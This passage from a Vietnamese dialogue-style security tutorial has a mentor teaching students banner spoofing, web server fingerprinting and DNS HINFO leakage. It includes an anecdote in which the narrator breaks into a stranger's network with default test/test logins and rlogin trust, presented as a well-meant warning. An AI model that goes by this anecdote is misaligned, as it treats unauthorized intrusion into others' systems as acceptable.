'cuti' lúng búng với 'ccxx':
"Èm... thì anh có nói gì đâu à."
Tôi can gián ngay:
"Thôi thôi. 'ccxx' nhận định vậy là chính xác. Điểm khác biệt ở đây giúp chúng ta dễ dàng nhận ra đâu là IIS thật, đâu là IIS giả mạo. Trên *nix, apache thường được dùng làm web service nhất. Những ai rành rõi với chuyện biên dịch thường tải mã nguồn của apache về và sửa lại thông tin của banner trong nguồn. Gần đây, những ai dùng apache còn có thêm mod_security cho phép 'giả' banner nữa. Tuy vậy, có dấu banner vẫn không dấu được những đặc điểm khác. Với ví dụ thứ nhất, mình biết ngay đây là banner 'giả mạo'. Chuyện xác định banner thật của nó là gì là chuyện khác nữa nhưng trước mắt mình có thể xác định phần nào đó hệ điều hành đang chạy web server đó không hẳn là Windows 2000. Điều tiếp theo là phải xác định rõ hơn nếu muốn tiếp tục thăm dò."
'haothu' hỏi:
"Nếu vậy em thấy chuyện giả mạo banner để dấu danh tánh đâu có ích lợi gì cho lắm đâu anh?"
Tôi cười, hỏi sang 'docco', 'cuti' và 'ccxx':
"Bọn em nghĩ sao về nhận định của 'haothu'?"
'docco' trả lời trước:
"Em thấy trước tiên nó đánh lừa được mấy ông kiddie. Đây cũng là chuyện ích lợi."
'cuti' ngần ngừ:
"Em.... em thì thấy nó có lợi khá nhiều. Ngoài chuyện đánh lừa kiddie, nó có thể đánh lừa được cả đống công cụ dùng để tự động thăm dò hông chừng. Em thấy có khá nhiều công cụ dành riêng cho công tác này, cả thương mại lẫn mã nguồn mở. Ví dụ chương trình tự động kia 'nhìn' thấy dịch vụ là IIS thì nó chỉ dùng các lỗi của IIS có trong database của nó mà... nện. Mà nện thế này thì trật lất hết vì thật sự dịch vụ này đâu phải là IIS. Em thấy đây cũng là một điểm hay."
'ccxx' phát biểu:
"Em thấy tùy mức độ kinh nghiệm của kẻ thăm dò. Nếu thăm dò kiểu như anh nói ở đây thì có ma nào mà dấu nổi. Tuy nhiên, em nghĩ là 'cuti' rất có lý với ý kiến dùng nó để lừa các công cụ tự động."
Tôi đáp:
"Hay lắm, ráng 'động não' đều đều hả . Quả thật, dùng phương pháp thay đổi banner chỉ có thể đánh lừa những người chưa đủ kinh nghiệm và một số tools tự động hoá chưa đủ tinh vi. Tuy vậy, đánh lừa được nhóm 'thăm dò' ở dạng hoàn toàn phó mặc vào công cụ cũng đã là đáng kể vì nhóm này chiếm đa số. Vậy, trên phương diện phòng thủ, liệu mình có nên ứng dụng phương cách 'giả' banner không?"
'cuti' đáp:
"Em nghĩ là nên. Lừa được chút nào hay chút đó chớ anh? "
'docco' lên tiếng:
"Em nghĩ cũng nên làm nhưng nếu nó không thật sự tác dụng thì không nên quá tốn công sức với nó."
Tôi đáp:
"Đúng rồi. Nếu có thể 'giả' để giảm thiểu những màn thăm dò chung chung thì tại sao không làm? Em nên biết, chỉ có chừng dưới 10% các cú rà tự động được tiếp tục bằng quá trình 'rà' bằng tay để xác định thêm thông tin mục tiêu. Thông thường, quá trình rà tự động chỉ để thu thập một số mục tiêu có thông tin cụ thể mà kẻ thâm nhập muốn tìm. Tuy nhiên, đối với kẻ có quyết tâm thăm dò một mục tiêu cụ thể nào đó thì chuyện 'giả' có lẽ không tác dụng gì mấy.
Bọn em có nghe đến khái niệm security through obscurity chưa?"
'docco' đáp:
"Em có thấy nhắc đến nhiều nơi nhưng em không đào sâu lắm vì không rõ tác dụng của nó. Nó là gì vậy anh?"
Tôi nói tiếp:
"Ừa, security through obscurity dịch nôm na ra tiếng Việt là bảo mật bằng tính bất khả định. Hay nói một cách khác, vì mục tiêu không được rõ ràng nên nó có vẻ bảo mật hơn. Có hẳn một trường phái rất chuộng security through obscurity nhưng bản thân anh thì anh không chuộng bởi vì nó thuộc về cái vỏ bên ngoài mà thôi. Đối với những ai thật sự muốn thâm nhập thì cái 'vỏ' này mỏng manh lắm. Nếu có thời gian và điều kiện thì thêm cái vỏ này cũng tốt nhưng nếu chỉ phó mặc vào nó để 'bảo mật' thì rất phiến diện."
'cuti' thắc mắc:
"Họ làm sao gọi là 'chuộng' vậy anh?"
Tôi đáp:
"À, 'chuộng' ở đây là họ dành nhiều thời gian, công sức để tạo một lớp vỏ 'giả' để đánh lừa kẻ tấn công. Có thể lớp vỏ này làm chậm bước thâm nhập vì kẻ muốn tấn công vì họ mất thời gian xác định thật tính của mục tiêu. Tuy vậy, thiếu bảo mật từ bên trong ra, thiếu bảo mật thật sự thì lớp vỏ này tan vỡ nhanh chóng."
'cuti' hỏi tiếp:
"Em nghĩ là chuyện giả một cái banner đâu có mất thời gian đâu anh?"
Tôi đáp:
"Ừa, đối với mã nguồn mở thì đây là chuyện không mất thời gian cho lắm. Tuy vậy, ít nhất em phải cần thời gian để biên dịch lại software. Đối với software thương mại thì đây là chuyện hoàn toàn khác. Nó dính đến chuyện bản quyền, chuyện giới hạn thay đổi software nên rất phiền phức. Trên mức độ banner thì thế, nhưng chuyện 'đánh lừa' còn đi sâu xuống tcp/ip stack nữa. Họ 'chuộng' phương pháp này đến độ tìm cách thay đổi tcp/ip stack để dấu những đặc tính của các gói tin đi ra / đi vào từ các cổng dịch vụ bởi vì các gói tin này mang những đặc điểm có thể dùng để xác định 'footprint' nữa.
Nếu em chỉ quản lý một vài máy chủ thì có lẽ không quá phiền phức nhưng nếu em phải quản lý cả một hệ thống chằng chịt có nhiều máy chủ, nhiều thiết bị thì sự thể rất khác. Ngay cả em chỉ quản lý một vài máy chủ mà không cẩn thận, tỉ mỉ thì cũng vô ích bởi vì em có thể 'dấu' đầu này nhưng để lộ đầu kia thì cũng chẳng phục vụ được ý định 'dấu'."
'cuti' cảm thán:
"Chà... chuyện phức tạp vậy sao anh? Hoá ra bảo mật cũng có năm bảy đường. Em thấy chuyện 'giả' này có vẻ thú vị lắm."
'docco' xen vào:
"Cho em hỏi một chi tiết nha anh? Anh nói là trên *nix người ta thường thay đổi source của apache hay dùng mod_security để giả banner. Vậy trên Windows và dùng IIS thì có phương cách nào tương tự không anh? Em nghĩ IIS thì không thể điều chỉnh mã nguồn rồi đó."
Tôi cười, đáp:
"Chà chà, bộ em cũng muốn theo trường phái 'security through obscurity' sao? . Trên Windows thì có một số soft. Anh không nhớ chính xác vì anh không 'chuộng' mấy cái này nhưng anh biết Windows có một cái gọi là urlscan. Nó làm việc trên tầng ISAPI của dịch vụ web của IIS và cho phép em 'giả' banner đó. Nếu thích thì vào site của Microsoft mà tham khảo thêm. Anh nghĩ em có thể táy máy đến mấy các dll của inetsrv của Windows để đổi banner nhưng chắc sẽ mất thời gian. Hơn nữa, đã dấu thì dấu cho trót, phải đổi hết trọn bộ error pages của IIS không thì banner một nơi mà error pages một nẻo."
'haothu' thắc mắc:
"Anh vừa nói chuyện thay đổi tcp/ip stack để che dấu 'footprint', em thấy cái này lạ ghê. Anh nói rõ hơn một tí được không anh?"
Tôi đáp:
"Ừa, đó cũng là một trong những lý do anh đề nghị bọn em đọc kỹ về tcp/ip lần trước để dễ hình dung hơn đó nhưng mấy anh em mình sa đà ở mức banner nên chưa đề cập đến level này. Chắc chắn mình sẽ đụng đến khoảng đó thôi. Em an tâm."
Tôi tiếp tục phần đang khai triển ở trên:
"OK, nếu mình biết 'thằng' thứ nhất ở trên là giả mạo, làm sao mình xác định được danh tánh thật sự của nó là gì?"
Bộ bốn lại im lặng. Sau vài phút, 'docco' lên tiếng:
"Ái chà, cái này mới vui á. Em mghĩ chẳng dễ tí nào."
'haothu' nhận định:
"Em nghĩ chắc phải dùng phương pháp so sánh như kiểu mình so sánh với một IIS server như hồi nãy thôi anh. Anh thấy chuyện này khả thi không?"
Tôi đáp:
"Khả thi chớ sao không em? Em nên nhớ rằng, bước thăm dò bằng tay tuy chậm nhưng nó luôn luôn cho em kết quả xác thực hơn bước thăm dò tự động bằng công cụ nào đó. Vậy, để so sánh thì mình cần có cái gì?"
'haothu' trả lời:
"Nhất định là mình phải có các bản mẫu 'xịn' rồi cứ dùng cái mình đang thăm dò mà so sánh với bản 'xịn' là xong."
Tôi khơi mào:
"Vậy mình cần phải thu thập hết các bản mẫu 'xịn' . Cái này còn gọi là 'footprint database'. Tùy mỗi người có cách lưu trữ và so sánh nhưng điểm cốt lõi là: dù có 'rà' bằng tay hay 'rà' tự động, em phải có một số thông tin mẫu nào đó để làm chuẩn. Nếu không, em không thể so sánh cái mình thấy (từ việc thăm dò) với một cái gì khác cả."
'haothu' hỏi tiếp:
"Vậy mình phải 'thăm dò' hết các loại web server để lấy 'footprint' thứ thiệt để dành hay sao anh? Cực quá vậy? Có database nào có sẵn mấy cái này không anh?"
Tôi đáp:
"Anh nghĩ là có nhưng chưa thấy phổ biến ở bên ngoài như một database bình thường mà nó thuộc một công cụ thăm dò ở dạng mình đang bàn. Bởi vậy, ngay từ đầu anh đã nói: muốn thâm nhập một cách đúng nghĩa, em phải rất kiên nhẫn, phải có căn cơ và phải hiểu mục tiêu của mình là vậy đó."
Tôi nói tiếp:
"Ở đây anh muốn nói đến phương hướng tiếp cận vấn đề chớ không phải cách giải quyết cụ thể cho từng trường hợp, từng khúc mắc. Hướng tiếp cận ở đây là: tìm và thu thập các 'footprint' của các web server để làm tư liệu cho việc so sánh về sau. Còn chuyện giải quyết thế nào thì mình đã bàn qua phần nguyên tắc. Anh chỉ 'khơi mào' cho em để khởi động còn muốn chạy xa, chạy nhanh thì tuỳ ở em .
Với hai ví dụ trên, anh còn muốn nhắc đến một điểm khác rất quan trọng. Bọn em thử copy và paste chúng vào hai cột cạnh nhau để dễ so sánh, dùng soft nào cũng được, cách nào cũng được, miễn sao có thể đặt chúng bên cạnh nhau để so sánh. Chắc chắn em sẽ tìm ra thêm điểm khác nhau nữa."
Vài phút trôi qua, 'ccxx' lại lên tiếng trước tiên:
"Em thấy rồi. Vị trí thứ tự của các HTTP header khác nhau phải không anh?"
Tôi đáp:
"Chính xác. Chúng khác nhau đó. Trước đây anh cũng thắc mắc chuyện này nhưng sau khi xem mấy các RFC cho HTTP thì mới thấy là chẳng có áp đặt cụ thể nào về thứ tự trình bày của các HTTP header cả. Bởi thế, mỗi nơi implement mỗi khác và đây là một điểm đặc thù giúp mình phân tích và phân biệt 'footprint' nữa."
'cuti' thắc mắc:
"Sao anh biết được những chi tiết tinh vi và khó thấy như thế vậy anh? Có tài liệu nào đó hướng dẫn mấy chuyện này không anh?"
'docco' cũng lên tiếng:
"Dạ, em cũng thắc mắc như thằng Duy vậy. Em chưa hề thấy ở đâu nói đến những chi tiết lý thú như thế này về chuyện nhận diện 'footprint'."
Tôi đáp:
"Có thể có những tài liệu phân tích những chuyện này. Anh không chắc vì anh chưa hề đọc được cái nào cả. Để trả lời thắc mắc của 'cuti', anh vô tình tìm ra những khác biệt đó trong khi 'táy máy' và test một web application viết bằng java. Application này được deploy trên cả Windows lẫn Unix nhưng có web-tier khác nhau. Trên Windows thì dùng IIS và trên *nix thì dùng Apache và iPlanet (của Sun). Anh phải bắt lấy hết các header của từng loại web server để tạo bộ luật mapping cho cái reverse proxy nên mới thấy được những cái khác nhau kia. Kinh nghiệm xương máu đó! "
'haothu' rên rỉ:
"Ôi trời, anh 'Việt-hóa' đoạn trên dùm em được không anh? cái gì mà 'web-tier', rồi đến 'deploy', 'mapping', rồi 'reverse proxy'... Em đọc thấy muốn... tẩu hoả luôn "
Tôi cười, đáp:
"Ái chà... anh cũng chẳng biết phải dịch ra sao nữa. Nếu em có đụng chạm đến các ứng dụng web hạng... nặng thì hẳn sẽ biết được khái niệm 'mutlti-tier' application. Cái này có nghĩa là một ứng dụng có nhiều tầng như: tầng web, tầng logic, tầng dữ liệu (database). Còn chữ 'deploy' thì có nghĩa đại loại như cài đặt, thiết lập một chương trình mới trên một máy chủ. 'deploy' mang nghĩa rộng hơn 'install' (là cài đặt). Riêng 'mapping' thì anh không biết phải dịch ra sao. Nó có nghĩa nhưng là so sánh, biên dịch 2 phía thông tin. Ví dụ, phía A có thông tin là 1 có thể được 'map' thành Z ở phía B chẳng hạn. Chữ 'reverse proxy' có nghĩa là 'proxy ngược'. Người dùng trong LAN muốn truy cập Internet thì đi xuyên qua 'forward proxy', còn người dùng từ Internet muốn vào web server của em thì đi qua 'reverse proxy'. Những khái niệm này khá dễ hiểu, em chịu khó tham khảo thêm trên net."
'cuti' nhận xét:
"Ra vậy. Có quá nhiều kiến thức đi ra từ kinh nghiệm bản thân, trong môi trường làm việc thật sự chớ chẳng phải cái gì cũng có trong sách."
Tôi đáp:
"Đúng thế. Anh đã có lần đề cập trước đây, sách là nguồn thông tin tổng quát. Nó giúp em hình thành một cái 'sườn' của vấn đề. Tùy vào em mà hình thành cái 'ruột'. Những điều mấy anh em mình 'đà khía' ở đây có rất nhiều điều đi từ 'kinh nghiệm xương máu' mà có. Anh biết có những cái lạ lẫm, khó hình dung bởi vì em chưa gặp qua. Tuy nhiên, đến một lúc em đụng phải điều gì đó mình đã bàn ở đây thì tự nhiên sự việc sẽ sáng tỏ, dễ dàng thôi."
'cuti' thắc mắc:
"Vậy anh muốn bọn em đi thu thập mấy cái header 'xịn' để làm tư liệu hả anh?"
Tôi đáp:
"Tùy em thôi. Nếu em thấy thích thú chuyện này thì em có thể dành thời gian để đào xới chúng. Anh dám chắc em sẽ thu thập được nhiều điều lý thú. Tuy nhiên, điểm cốt lõi anh muốn bọn em ghi nhận ở đây là điểm khác cơ. Em có biết đó là gì không?"
'cuti' đáp:
"Điểm gì cà? Ái chà, căng à nha."
'haothu' lên tiếng:
"Anh mổ xẻ chuyện 'footprint' với bọn em rồi để cho bọn em tùy chọn muốn đào thêm hay dừng lại mà không tỏ vẻ quan trọng chuyện này. Vậy chuyện gì quan trọng nhỉ?"
'docco' lên tiếng:
"Em nghĩ là em đoán được. Ý anh là muốn giới thiệu đường hướng và lối khai triển một cách logic phải không ạ?"
Tôi đáp:
"Anh không nói là những chuyện mình vừa bàn không quan trọng. Anh chỉ nói rằng tùy người, tùy nhu cầu mà nó quan trọng nhiều hay ít. 'docco' nói đúng đó, nhưng còn gì nữa?"
'ccxx' cũng tham gia:
"Không biết em nghĩ có đúng không nhưng xem lại mạch chuyện từ nãy giờ, em thấy một điểm khá quan trọng là ngoài tính logic còn có tính tập trung và sự tinh tế trong khi nhận xét vấn đề. Phải không anh?"
Hết sức hoan hỉ, tôi đáp:
"Voila! chính xác. Logic tối cần thiết nhưng tính tập trung và sự tinh tế không thể thiếu được. Sau này, khi em đi đến chỗ viết shellcode, dò stack mà lại thiếu sự tinh tế thì sẽ không thể đạt kết quả được. Đối với 'hacker', mỗi chi tiết bé nhỏ đều có thể mang một giá trị lớn lao. Chúng có thể làm em mất ăn, mất ngủ, mất thời gian để rồi, đến lúc nào đó em sẽ vò đầu và tự rủa mình vì đã 'sót' chúng trong khi phân tích. Thật ra, logic + tập trung + tinh tế là ba đức tính cần thiết không riêng gì trong bảo mật mà nó cần thiết trong các ngành khoa học."
'docco' nói:
"Em sẵn sàng tiếp nhận quan điểm này. Đừng nói đi đâu xa, những lúc làm bài tập hoặc viết một đoạn code đơn giản mà thiếu tập trung thì có chuyện ngay. Đặc biệt là lúc bị 'có chuyện' mà thiếu tinh tế thì tìm lỗi muốn... khùng luôn."
Tôi muốn kết thúc buổi 'đà khía' nên rút ngắn:
"Thôi, mấy anh em mình ngồi dính một chỗ đã quá lâu. Có lẽ lần sau mình mới đi vào chi tiết OS 'footprint' trên tcp/ip vì mình bị... 'cháy' kế hoạch rồi. Điều này cũng tốt vì bọn em có thêm thời gian để xem kỹ hơn về tcp/ip. Mấy đứa cũng nên đọc lại nội dung 'đà khía' lần này và ráng đúc kết vấn đề để làm nền cho lần tới."
'docco' đáp:
"Dạ, vậy cũng tốt mà anh. Em vẫn còn lủng củng nhiều điểm trên tcp/ip nên hoãn lại thêm một tí thì tiện hơn."
'ccxx' nhấm nhẳng:
"Em còn muốn cãi với ông Khoa về chuyện 'kiddie' dùng công cụ khó hay dễ vậy mà anh phải đi rồi. Thôi vậy, để em về chuẩn bị thêm để 'đấu' với ổng một trận. Anh làm trọng tài cho tụi em nha?"
Tôi cười, đáp:
"Ừa, miễn sao 'đấu' để đem lại một kết quả nào đó ích lợi thì anh làm trọng tài liền."
'cuti' phát biểu:
"Em rút kinh nghiệm những lần trước, lần này em sẽ in ra nội dung 'đà khía' để đọc lại và suy gẫm kỹ hơn. Em bị cảm giác là càng ngày càng bị tụt đằng sau."
'docco' đáp:
"Thì tui làm như vậy từ lâu rồi ông Hưng. Chẳng những thế, tập bài tui in ra bây giờ chằng chịt với những dòng gạch dưới, đóng khung, tự chú thích.... tá lã luôn. Không thì không nhớ xuể đâu á."
Tôi trả lời:
"Tùy mỗi đứa, tùy cách phân tích và chọn lọc thông tin cho mình thôi. Miễn sao rút tỉa được vài điều là tốt rồi. Nếu không hiểu thì sẽ thấy nặng nề và nếu kéo dài ở tình trạng 'không hiểu' này thì sẽ thì thấy... chán. Cái đó mới là hoài của nói theo lối nói người miền Bắc . Thôi, anh phải đi. Hẹn mấy đứa tuần sau nếu rảnh."
và tôi logoff..
18/11/2005
<còn tiếp>
|
|
|
13. Information... What for? - II
Chiều nay như đã hẹn, tôi log vào YIM. Mấy 'khuôn mặt' YIM của cuti, ccxx, haothu và docco đều "trắng bệch". Tôi thầm nghĩ, "chà, mấy trự này vẫn chưa lên hay có trục trặc gì rồi". Tôi quyết định gởi cùng một offline message cho cả bốn 'trự' để khi nào có ai lên thì cho tôi biết. Chỉ trong vài giây tôi nghe bốn tiếng "Knock, knock", "Knock, knock" và hai khuôn mặt "vàng choé" của docco và ccxx online. 'docco' chào trước:
"Chào anh, anh lên lâu chưa vậy?"
'ccxx' chào tiếp theo:
"Ý chà, anh đúng giờ khủng khiếp luôn á. Em chuyển chế độ 'invisible' để khỏi phiền chớ em lên đây từ trưa á."
Lần này tôi gởi 'conference invitation' kèm theo câu trả lời:
"Hì hì, anh 'hên' nên đúng giờ thôi em. Anh đâu biết khi nào mấy đứa lên đâu à. Còn cuti với haothu đâu rồi?"
'ccxx' nhanh nhảu:
"Dạ em cũng không biết nữa anh. Em gọi di động cho ông Hưng mà chẳng thấy trả lời. Còn ông Khoa thì em chẳng thấy tung tích từ hôm qua đến giờ."
'docco' tiếp lời:
"À, hồi sáng em có gặp Hưng mà. Nó nói thế nào nó cũng lên. Còn thằng Khoa thì chẳng biết nó ở đâu mà mò nữa anh."
Tôi cười, đáp:
"Ừa, khi nào tụi nó thấy tiện thì lên thôi. Anh em mình đà khía lai rai cũng được. Hay em muốn chờ tụi nó lên luôn?"
'docco' trả lời:
"Dạ mình 'làm' lai rai đi anh. Chừng nào tụi nó lên thì nhập cuộc luôn cũng được."
'ccxx' cũng hùa theo:
"Đúng đó. Mấy ông đó chẳng biết đâu mà chờ anh ơi."
Tôi đáp:
"Xong ngay. Vậy mình tiếp tục câu chuyện lần trước hả? hay mấy đứa thích nói chuyện gì khác hông?"
'docco' trả lời ngay:
"Dạ tiếp tục chuyện lần trước đi anh. Chuyện này 'đã' hơn những chuyện tầm phào khác "
Tôi cười đáp:
"Nhào ngay vô liền hả? OK. Lần trước mình đang nói đến chuyện tìm 'footprint' phải hông? Anh muốn đề cập thêm một chi tiết nhỏ trong việc query DNS khá quan trọng. Hầu hết các DNS server trên Internet hiện nay dùng BIND, chạy trên UNIX. Những DNS server không thiết kế và điều chỉnh cẩn thận thường có các giá trị HINFO (Host Information) chứa những thông tin khá cụ thể về vị trị của host này, hệ điều hành đang chạy trên host này... những thông tin đó hết sức quan trọng cho việc 'thăm dò'. Anh đề cập đến chuyện này vì muốn nhấn mạnh sự quan trọng của việc thiết kế hệ thống trên phương diện bảo mật; tránh để lộ những thông tin nhạy cảm và không cần thiết trên các hệ thống tiếp diện với 'untrused networks'."
'ccxx' hỏi ngay:
"Phải 'untrusted networks" là Internet hông anh?"
Tôi đáp:
"Ừa, Internet là một trong những 'untrusted network'. Ngay cả mạng riêng của công ty vẫn có những phần thuộc dạng 'untrusted' nếu như các thông tin nhạy cảm đi xuyên qua hoặc mở rộng trong các phần này. Nói chung, 'untrusted networks' là những mạng em không thể kiểm soát được."
'docco' thắc mắc:
"Như anh nói ở trên, vậy HINFO chứa những thông tin nào mà nguy hiểm như vậy anh? Thật tình em chưa bao giờ thấy thông tin này."
'ccxx' chêm vào:
"Dạ em cũng thắc mắc điểm này luôn đó."
Tôi đáp:
"Ừa, em phải đụng đến nó thì mới biết . HINFO là một 'query type' khi em query DNS, tương tự như A, MX, NS, CNAME, SOA... mấy cái này em nên tham khảo chi tiết sau vì nó dính khá nhiều thứ trong đó. Mình tập trung vào HINFO ở đây để em nắm chi tiết quan trọng này thôi. Tổng quát mà nói thì HINFO chứa giá trị (và sẽ trả về giá trị nếu mình query nó) ở dạng như:
"sparc20" "lp & fax comm room" chẳng hạn. Nó thường chứa các thông tin khá chi tiết để sysadmin dễ nhận diện host này là host gì trong mạng. Nó tiện dụng cho sysadmin nhưng lại khá nguy hiểm trên phương diện bảo mật. Bọn em đoán thử với giá trị trong ngoặc kép, nó nguy hiểm ở đâu?"
'docco' và 'ccxx' im lặng một đỗi. 'docco' lên tiếng trước:
"Dạ em đoán nó chỉ cho kẻ thăm dò biết server đó loại gì và vị trí server đó ở đâu . Nhưng.... vị trí 'comm room' cũng đâu giúp được gì đâu anh?"
'ccxx' nói tiếp:
"Hình như sparc20 là một loại server của công ty Sun phải hông anh? Em chưa thấy nó bao giờ nhưng em có nghe đến. Nếu mình biết được loại máy chắc mình có thể đoán được hệ điều hành nào đang chạy trên nó?"
Tôi cười, đáp:
"Cả hai đứa đoán đúng hết nhưng mỗi đứa chỉ đúng 1/3 thôi "
'docco' bẽn lẽn:
"Sao anh? em chỉ đoán bừa thôi mà "
Tôi trả lời:
"Ừa, thì em đoán ra vị trí + loại server, cái này cho 1/3 thông tin. Cô bé Như đoán được 'có thể lấy hệ điều hành' nếu biết loại máy được thêm 1/3 nữa. 1/3 còn lại cho thấy chức năng chính của máy chủ này cung cấp dịch vụ in và fax. Bấy nhiêu thông tin cũng đủ giúp cho kẻ thăm dò hình thành ít nhiều kế hoạch. Ví dụ, Solaris thường bị những điểm yếu nào? nếu máy chủ này cung cấp dịch vụ in (lp) và fax thì nó thường bị lỗ hổng ở chỗ nào? Nếu nó nằm trong 'comm room', liệu từ máy này có thể truy cập đến các máy chủ khác cũng trong 'comm room' hay không? và hàng loạt các câu hỏi khác. Độ nguy hiểm càng tăng khi kẻ đang thăm dò có nhiều kinh nghiệm."
'docco' thắc mắc:
"Công nhận anh phân tích ra thì thấy lý thú nhưng em vẫn chưa hình dung được độ nguy hiểm ở chỗ nào hết anh?"
Tôi cười, chậm rãi đáp:
"Anh cũng hiểu được tại sao em chưa hình dung ra sự nguy hiểm. Thế này, để anh kể cho nghe một mẩu chuyện ngắn, hy vọng em sẽ hiểu. Cách đây vài năm, khi anh còn làm ở một công ty khác, anh phát hiện mail server của cty anh bị spam quá nhiều. Sau khi truy ra nguồn mail được gởi đi và tổng kết số lượng mail nhận được, anh nghi rằng mail server đó bị open relay. Anh bắt tay vào kiểm tra mail server ấy thì thấy quả thật nó open relay. Anh quyết định gởi thông báo cho tay sysadmin của mail server dùng làm phương tiện để spam mail server của cty anh. Tay này năm lần, bảy lượt cố làm ngơ. Rốt cuộc hắn trả lời anh là mail server của hắn không bị cái gì hết, anh thử chứng minh xem để hắn thấy.
Anh bèn mở cuộc thăm dò thì thấy mạng này khá lớn, có rất nhiều servers. Các servers đều dùng static IP và chỉ có một border router cho cả nội mạng. Tất nhiên là anh chứng minh cho hắn thấy mail server của hắn bị 'open relay'. Trong quá trình thăm dò, qua phương tiện query DNS, anh tìm thấy có rất nhiều servers trong nội mạng này có tên ở dạng test, ví dụ như testbed, teststage, testserver. Chỉ cần nháy mắt, anh log vào một trong những server này với account test/test một cách dễ dàng. Từ server thứ nhất, anh có thể đi vào các server còn lại bằng những phương tiện truy nhập thông thường. Anh còn thấy vô số lỗi cho phép leo thang từ user test thành root một cách không mấy khó khăn. Chỉ trong khoảng thời gian ngắn, anh gần như làm chủ mạng đó."
'ccxx' cảm thán:
"Wow... cool thiệt đó nha. Làm dễ như vậy sao anh? Sau đó anh làm gì nữa?"
Tôi cười, đáp:
"Có gì mà 'cool' em. Đây chỉ là lối thâm nhập do hệ thống bảo mật quá kém. sysadmin không có kiến thức về bảo mật hoặc quá lười biếng mà thôi. Sau đó anh chẳng làm gì hết. Anh dò dẫm qua một vòng và khám phá ra anh không phải là người đầu tiên dò dẫm trong hệ thống này mà đã có vài người khác nữa. Anh bèn tạo một số files trên vài servers rồi gởi mail (từ một trong những server trong mạng ấy) đến tay sysadmin để cảnh báo hắn. Một tuần sau anh thử quay lại thì hệ thống này đã được thắt chặt. Vậy, hai đứa rút ra được gì từ câu chuyện trên?"
'docco' cười, trả lời:
"Hì hì, hình như anh đổi rơ hay sao đó. Mấy bữa trước anh cho tụi em hỏi thoải mái, hôm nay em thấy anh hỏi tụi em không à. Phần em thì em thấy có mấy chi tiết anh nhấn mạnh ở điểm test. Nếu không có các chi tiết này chắc anh không máy mó thêm phải không anh?"
'ccxx' cũng xen vào:
"Hi hi... em thấy cái vụ 'test/test' này đúng là hay tỉ luôn đó. Em có đi làm thêm ở một công ty và thấy cái gì cũng 'test/test'. Bây giờ anh kể chuyện này, hoá ra ở đâu cũng có thói quen này."
Tôi đáp:
"Em tinh mắt lắm. Chỉ vì 'test/test' mà làm anh tò mò và 'thử' thêm cho nên mới dẫn đến chỗ anh vào gần như mọi server của mạng đó. Tay sysadmin này lười biếng nên hắn set mọi server đều 'trusted' nên dùng 'rlogin' là vào tuồn tuột, khỏi password, khỏi gì hết. Điều cần nhấn mạnh ở đây là những thông tin trông có vẻ nhỏ nhưng có thể dẫn đến hậu quả khó lường. Người dùng, ngay cả sysadmin, mà lười biếng và thiếu cẩn thận thì ở đâu cũng 'test/test'. Em có tin rằng nếu anh không thử thăm dò, không query DNS và không thấy 'test' hiện lên thì chẳng có chuyện gì xảy ra không? Đây là anh không có ý định thâm nhập, còn đối với kẻ thật sự có ý muốn thâm nhập thì những thông tin này còn quý hơn... vàng . Vậy, mấy đứa thử nghĩ xem, đứng trên phương diện bảo mật, mình rút tỉa được điều gì ở đây?"
'ccxx' đáp lời ngay:
"Bỏ hết mấy cái 'test/test' phải không anh?"
'docco' thêm vào:
"Thắt chặt hệ thống phải không anh?"
Tôi cười xoà:
"Ái chà, một đứa thì quá cụ thể, một đứa thì quá tổng quát. Cả hai đứa đều đúng nhưng ráng suy nghĩ thêm một chút để tìm một câu trọn vẹn xem sao?"
Cả hai 'ccxx' và 'docco' im lặng hồi lâu. 'docco' lên tiếng trước:
"Em nghĩ là hệ thống ấy cần phải dấu hết những gì không cần công bố với công cộng. Phải thiết kế lại mạng và hệ thống phòng thủ."
'ccxx' nói tiếp:
"Gặp em thì em đuổi cổ cái tay sysadmin đó vì cái tội lười biếng hoặc thiếu khả năng. Nếu hắn cẩn thận và chịu khó thì có lẽ anh không dễ dàng thâm nhập đến như thế đâu."
Tôi đáp:
"E hèm... cả hai đứa đều đúng hết. Chỉ có 'công chúa xinh đẹp' hơi... hung dữ một tí thôi . Nếu gom hai câu trả lời thành một thì hoàn chỉnh rồi đó. Tuy nhiên, 'đuổi cổ' hắn như thế có thể hơi oan vì sysadmin chưa hẳn là chuyên viên bảo mật đâu em. Có thể công tác chính của hắn là làm sao cho hệ thống chạy ổn định là được rồi. Cái này cũng cho thấy một điều là làm chuyên viên bảo mật hay chuyên viên 'thâm nhập' còn phải kinh nghiệm và có khả năng nhìn sâu, rộng hơn sysadmin bình thường."
'docco' cảm thán:
"Bây giờ em mới hiểu được việc thăm dò quan trọng như thế nào. Quả thật những điều này hết sức lý thú. Có thể em đọc chưa nhiều nhưng em có cảm giác những điều anh nói ở đây toàn là 'kinh nghiệm xương máu' chớ chẳng thấy trong sách."
Tôi đáp:
"Anh đoan chắc là những người khác cũng 'thấy' những điều anh 'thấy' và hơn nữa. Điều quan trọng ở đây là khả năng nhận xét một cách nhạy bén. Càng nhạy bén càng tốt. Từ thông tin trong HINFO đến những chi tiết rất nhỏ bé khác trong quá trình thăm dò có thể dẫn đến những điều không thể ngờ trước được. Đây cũng là điều giúp cho mình thấy là không có một công thức cụ thể nào cho việc thâm nhập cả. Mọi chuyện là do tính nhạy bén và sáng tạo của mình mà ra thôi."
'ccxx' hỏi thêm:
"Có một số chi tiết anh đi lướt qua như 'open relay', 'rlogin', 'trusted'.... em thấy lạ hoắc à. Đây có phải là những kiến thức căn bản không anh? Em chưa hề nghe qua những cái này bao giờ."
Tôi đáp:
"Căn bản thì cũng không hẳn đâu em. Anh nhớ anh có đề cập đến r series cho rlogin, rsh, rexec và 'trusted network' ... trong một lần 'đà khía' trước đây. Em hỏi cu Hưng bản lưu của lần trò chuyện đó về đọc. Những cái này chỉ thấy trên UNIX là chính. Nó mang lại tính tiện dụng nhưng làm hỏng tính bảo mật của hệ thống. Riêng khái niệm 'open relay' thì chỉ khi nào em thiết kế một MTA (mail transfer agent), hay còn gọi là mail server thì mới đụng đến vấn đề 'mail relay'. Ngay cả chỉ thiết kế nó cho chạy đưọc cũng không đụng tới mail relay đâu. Chỉ khi nào em cần bảo mật nó thì mới đụng tới phương diện này. Đại khái 'mail relay' là một cơ chế cho phép máy con thuộc mạng này dùng mail server của mạng kia. Trên mặt nguyên tắc thì nó tiện dụng nhưng lại nguy hiểm vì từ tiện dụng hoá thành... lạm dụng . 'mail relay' là phương tiện chính cho nạn spamming đang lan tràn trên Internet."
'docco' cười thích thú:
